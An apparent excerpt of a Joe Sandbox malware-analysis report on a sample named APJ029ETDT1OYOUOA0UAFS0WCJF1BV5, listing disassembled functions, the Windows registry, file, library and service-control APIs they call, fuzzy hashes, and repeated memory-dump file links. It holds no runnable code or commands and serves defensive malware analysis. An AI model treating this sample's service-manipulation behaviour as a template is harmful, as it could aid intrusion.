Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4be0e0b03e7038e3acaa56974f4f2509fd454c1ab857f8e878b7ee44d0dbe6f
Instruction ID: 6ed1b70464554d2f70d4e3ab2434873307ab162957daefc3469f0bce46d0ea84
Opcode Fuzzy Hash: d4be0e0b03e7038e3acaa56974f4f2509fd454c1ab857f8e878b7ee44d0dbe6f
Instruction Fuzzy Hash: 02C08C0B6183E20EC10A563544280807EA30A5110034D8AA283889A6C3EC0886008251

Function 010992CB Relevance: 4.6, APIs: 3, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 01099314
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0109933B
GetNativeSystemInfo.KERNELBASE(?), ref: 01099392

Memory Dump Source

Source File: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 412fb747fdd33f3b4ee763f82728ab1a8f6601df896384c4fdb7f9a096eef158
Instruction ID: 7219a75f3e8e9fcf2e306a2677118aa247b366d912a0564e871315bc485446ff
Opcode Fuzzy Hash: 412fb747fdd33f3b4ee763f82728ab1a8f6601df896384c4fdb7f9a096eef158
Instruction Fuzzy Hash: 4721147100414E9EEF12DF10C858BDF3BA5EF05308F00592AE98196991EB764DB8DF5A

Function 0108D46D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0108D443

Strings

C, xrefs: 0108D61B

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 9895e191ff1b71dc2a1d0d7db0a25261eede45c17c586cc6d55da15e77ffd874
Instruction ID: 9e3944c134b804389fa6548053c1ebc6dd33a42f6bed8be990a3536eef3dcb2b
Opcode Fuzzy Hash: 9895e191ff1b71dc2a1d0d7db0a25261eede45c17c586cc6d55da15e77ffd874
Instruction Fuzzy Hash: AD2157B214C2027FE612ABA89C61FFB7B98DB92230F24921BF4C2DA5C2D9901D054379

Function 048B15C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 048B18C8

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 4040485fa759f2dc1164c889b1de82d3fa4b7819c6580ce7290b96a1672e6de1
Instruction ID: 0d079e3b6c2c03903cca04499e9374ccdc46f680dd77abba011da10e0be9f0a0
Opcode Fuzzy Hash: 4040485fa759f2dc1164c889b1de82d3fa4b7819c6580ce7290b96a1672e6de1
Instruction Fuzzy Hash: 73C16C71D002599FDB11CFA8C8997EEBBB1FB45354F148A29EC94EB344D774A881CB81

Function 010896DD Relevance: 1.6, APIs: 1, Instructions: 110
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 010896DD

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5b4513e1684c4866d60e9b96ffcaf0da8c901f66fd22b29a71f34e86efbef646
Instruction ID: e8058fe48cfe938be8d02749e52f6bdfa93997d31730f4d80ac988a9b3b2177e
Opcode Fuzzy Hash: 5b4513e1684c4866d60e9b96ffcaf0da8c901f66fd22b29a71f34e86efbef646
Instruction Fuzzy Hash: 20314AF250C610AFE702BF19D8816B9BBE5FF94324F16482EE6C886610D73644558B97

Function 0108984B Relevance: 1.6, APIs: 1, Instructions: 104
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0108984B

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: affe29cf9237e980b9f99dbbaef1abbb49793976a1debbc893489d0bfaa53261
Instruction ID: 1e744ddeea9156b1657fd07f29934929557234813da4ec1f20dbc20a54fa0beb
Opcode Fuzzy Hash: affe29cf9237e980b9f99dbbaef1abbb49793976a1debbc893489d0bfaa53261
Instruction Fuzzy Hash: 33311AB251C200EFE7067F18DC866BAFBE5EF58324F16492CE6C586610D7359890CB87

Function 048B0D41 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048B0DCD

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: dcfc90325a801589aae9e63721394ef050bb60379b7a36328e9136031f401087
Instruction ID: 3535510556da94b5208c9dce4e8090002c822504990bf78ac7b655336a49422d
Opcode Fuzzy Hash: dcfc90325a801589aae9e63721394ef050bb60379b7a36328e9136031f401087
Instruction Fuzzy Hash: EC2137B6C012199FCB10CF99D885ADEFBB0FB89310F14861AD918AB344D734A545CBA5

Function 048B0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048B0DCD

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 653dc47307c9889ca4ccf0b96d5958e1d13ecbdebbf4c9e95b7a66a181648f2b
Instruction ID: a7bfae474561d7c54edf33f27d5a21dde88329e0361946eba211f8f34498b4c7
Opcode Fuzzy Hash: 653dc47307c9889ca4ccf0b96d5958e1d13ecbdebbf4c9e95b7a66a181648f2b
Instruction Fuzzy Hash: 892135B6C002099FCB10CF99D884BDEFBF4EB88310F14861AD908AB344C734A544CBA5

Function 048B1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048B1580

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 3be4e9945791e983c83a7192294940d359b9cce856bfbf7e6e697254333d627c
Instruction ID: 89d439c9c274fc54777399d94911a238a19c8b451f07625468e363fdde408ade
Opcode Fuzzy Hash: 3be4e9945791e983c83a7192294940d359b9cce856bfbf7e6e697254333d627c
Instruction Fuzzy Hash: E021F2B5D003499FDB20CF9AC485BDEBBF4EB48320F148529E958A7240D778AA45CFA5

